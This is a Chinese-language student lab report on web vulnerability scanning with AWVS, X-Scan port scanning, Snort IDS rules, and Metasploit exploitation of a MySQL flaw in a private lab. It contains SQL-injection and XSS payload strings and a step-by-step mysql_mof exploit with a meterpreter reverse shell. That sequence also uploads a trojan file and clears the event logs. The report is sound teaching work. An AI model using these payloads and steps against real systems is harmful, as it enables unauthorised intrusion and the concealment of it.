实验内容
- 了解网站
Sql注入漏洞
、XSS漏洞
原理,通过AWVS
软件对目标网站进行漏洞扫描实验,分析Sql注入漏洞
和XSS漏洞
扫描的原理及结果。 - 用
xscan
或nessus
软件进行主机、端口、漏洞扫描实验,捕获扫描时交互的数据包,通过分析扫描数据包,验证扫描原理。 - 在
Windows
或Linux
平台搭建Snort IDS
,自己编写检测规则文件,对xscan
或nessus
软件网络扫描进行检测。 - 了解
Metasploit Framework
渗透测试工具,对mysql数据库漏洞
进行渗透测试。
AWVS扫描漏洞
通过AWVS软件对目标网站进行漏洞扫描实验,分析Sql注入漏洞和XSS漏洞扫描的原理及结果。
自己搭建SQL注入攻击漏洞网站:
http://10.122.251.244/SQL/
(已无法访问)并使用AWVS进行扫描。查看扫描结果,发现网站存在SQL注入漏洞。分析SQL注入漏洞,当在输入框中输入
1' OR 3*2*1=6 AND 000429=000429--
以绕过检测,直接登录。将输入的语句放在php语句中:1
2$sql="select* from users where username='1' OR 3*2*1=6 AND
000429=000429 **--**' and password='$pwd'";该语句恒为true,故可以绕过验证直接登录。
尝试在URL输入栏中输入:
http://10.122.251.244/sql/test.php?password=g00dPa%24%24w0rD&username=-1'%20OR%203*2*1%3d6%20AND%20000567%3d000567%20--%20
, 可以绕验证登录成功,同时说明了SQL注入攻击是通过输入改变后台SQL语句内容达到攻击目标数据库的目的。自己搭建xss漏洞网站:
http://10.122.251.244/XSS/
(已无法访问)并使用AWVS进行扫描。查看扫描结果,发现网站存在XSS漏洞。发现网页的输入框存在
跨站脚本攻击
,点击右侧的view HTML response
,弹出对话框,攻击成功。按照说明点击
launch the attack with http editor
,发送报文,未弹出对话框,但是网页内容得到更改。在浏览器的URL栏输入内容如下
http://10.122.251.244//xss/index.php?input=1'%22()%26%25prompt(“xss”)prompt(“xss”)</ScRiPt)>
,成功弹出对话框,xss攻击成功。xss攻击原理是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,而上面的攻击就是通过一个get请求输入一串可执行的script代码且成功被执行:输入的代码可执行代码是
<ScRiPt%20>prompt("XSS")</ScRiPt>
,即执行弹出框,内容是xss。
x-Scan漏洞扫描
用x-Scan软件进行主机、端口、漏洞扫描。
x-Scan软件扫描漏洞原理
- 首先对主机进行端口扫描,确定系统开放的端口;
- 然后对开放的端口进行网络服务类型的识别,确定其提供的网络服务;
- 根据目标提供的网络服务,调用漏洞资料库中已知的各种漏洞进行逐一检测,通过对探测响应数据包的分析判断是否存在已知安全漏洞。
在
windows7虚拟机
内运行X-Scan
,并配置检测IP地址:192.168.88.132
。配置扫描模块:漏洞检测脚本。
扫描端口范围设置为1-65536,检测方式选择默认TCP。
进行扫描。
扫描完成,网页显示出被检测主机的详细漏洞信息,并给出了安全漏洞的详细信息及解决方案。
扫描过程中使用Wireshark进行抓包。
分析wireshark捕获的数据包,发现扫描器先与目标主机在不同的端口建立不同的TCP连接,然后根据端口提供的网络服务类型调用漏洞资料库中已知的各种漏洞进行逐一检测,通过对探测响应数据包的分析判断是否存在已知安全漏洞。例如在扫描135端口时先在135端口上建立TCP连接,然后发送不同类型的协议请求(如DCERPC协议、EPM协议)来检测漏洞。
搭建Snort IDS
IDS简介:
入侵检测系统(Intrusion Detection System,IDS)
的作用是监控网络和计算机系统是否出现被入侵或滥用的征兆。IDS系统不需要人工干预就可以不间断的地运行,能够发现异于正常的行为的操作。实验环境:
服务平台:windows 2003
(安装Snort)(192.168.88.143
)
攻击平台:windows 7
(测试snort)(192.168.88.145
)
软件版本:snort2.8.0.2
、apache2.2.8
、php5.2
、mysql5.0
、winpcap4.0.2
、acid0.9
、adodb5
、jpgraph2.3
在windows 2003上搭建Snort环境完成后,在目录:
C:\ids\Snort\bin
下打开命令行,输入snort -W
,出现如下图案,说明snort安装成功。在目录文件
C:\ids\Snort\rules\local.rules
上添加一个规则:alert icmp any any -> $HOME_NET any (msg:"icmp Packet";sid:1234567890;rev:1;)
,捕获任意主机发送到该主机的ICMP
包。在目录:
C:\ids\Snort\bin
下打开命令行,输入snort -i2 -l c:\ids\snort\log\ -c c:\ids\snort\etc\snort.conf -dev -p
,运行snort。Windows7主机对windows xp主机进行ping命令测试。
在windows 2003上打开网页:
http://localhost/acid/acid_main.php
,检测到ICMP包,分析为192.168.88.145
,发送至192.168.143
。由于使用snort规则不熟练简单写了嗅探
TCP
、UDP
、ICMP
的规则,嗅探来自任何主机发送至该主机的数据包。使用windows7对windows 2003进行X-scan扫描,同时开启snort扫描,X-scan扫描结果如下。
Snort嗅探结果如下,可以看出X-scan发出的基本上是
TCP包
。截取捕获的部分TCP包如下,可以看出检测端口非常多。
点击一个TCP包,具体信息如下,从
192.168.88.143
的292
端口发送至192.168.88.145
的51097
端口。查看源IP地址如下,其中
192.168.88.1
是这次检测发送的源地址,192.149.252.21
描述的是gm2.arin.net
,不知道为什么会出现这个地址。源端口有
4695
个,其中UDP端口2
个,目的端口有3379
个,其中UDP端口2
个,基本上使用的是TCP端口。
mysql数据库漏洞渗透
了解Metasploit Framework渗透测试工具,对mysql数据库漏洞进行渗透测试。
测试环境
- 攻击机:Kali linux(攻击机和靶机位于同一局域网下)
- 靶机:windows xp (安装
mysql5.5.19
) - 工具:
Metaspolit
:Metaspolit
是一款开源的安全漏洞检测工具,其集成了各种平台上常见的溢出漏洞和流行的shellcode,并不断提供更新。
漏洞编号
mysql 5.5.19
版本存在的CVE-2012-5613
权限提升漏洞
信息收集
利用metaspolit
辅助模块auxiliary
,对目标进行信息收集。
输入
msfconsole
,运行metaspolit
。输入
show auxiliary
,查看所有辅助模块。使用辅助模块:
MySQL Server Version Enumeration
,查看靶机的mysql版本信息。输入命令:
use auxiliary/scanner/mysql/mysql_version
,调用MySQL Server Version Enumeration
模块,输入命令show options
,展示设置项。端口为
3306
,线程为1
,数据库连接端口,没有目标主机IP,设置扫描192.168.88.2-254
,并再次显示设置项,设置成功。输入命令
exploit
,进行扫描。扫描结束后,发现IP地址为192.168.88.128
的主机上的mysql版本为5.5.19
,存在CVE-2012-5613
漏洞。
漏洞利用
退回到
msf
,输入search mysql
,检索metaspolit
中集成的有关mysql的模块。选择
exploit/windows/mysql/mysql_mof
对目标主机进行本地提权,输入命令use exploit/windows/mysql/mysql_mof
使用该模块,输入命令show options
,展示设置项。发现用户名、密码、IP地址都没有输入,利用命令
set
输入用户名root
,密码root
,IP地址:192.168.88.128
。选择加载模块
payloads
, 输入命令show payloads
,查看metaspolit
集成的加载模块。选择加载模块
windows/meterpreter/reverse_tcp
,输入命令:set payload
windows/meterpreter/reverse_tcp
,输入命令show options
,展示设置项,监听端口为4444
。未设置监听地址
LHOST
,利用命令set
设置监听地址为攻击机IP:192.168.88.130
。输入
exploit
进行攻击,连接成功,开始使用meterpreter
工具。输入
getuid
,查看当前用户ID,发现为Server username: NT AUTHORITY\SYSTEM
,拥有最高权限。输入
pwd
查看当前目录为C:\WINDOWS\system32
。输入命令
upload /root/trojan.php C:\
, 将攻击机上的文件上传至靶机。输入
clearev
清除日志记录。
总结
通过AWVS
软件对目标网站进行漏洞扫描,对于Sql注入漏洞
、XSS漏洞
原理有了更深的理解。通过分析分析扫描数据包,了解了x-scan
的漏洞扫描原理。在搭建Snort IDS
环境的过程中,由于软件不兼容,出现了一些问题,后期得到解决,在编写检测规则文件过程中,了解了snort
的编写规则,在探测过程中,了解了Snort
的使用原理,意识到了Snort
的强大功能。通过对mysql数据库漏洞
进行渗透测试,认识到了Metasploit Framework
渗透测试工具的强大,同时意识到了提权漏洞CVE-2012-5613
的危害性。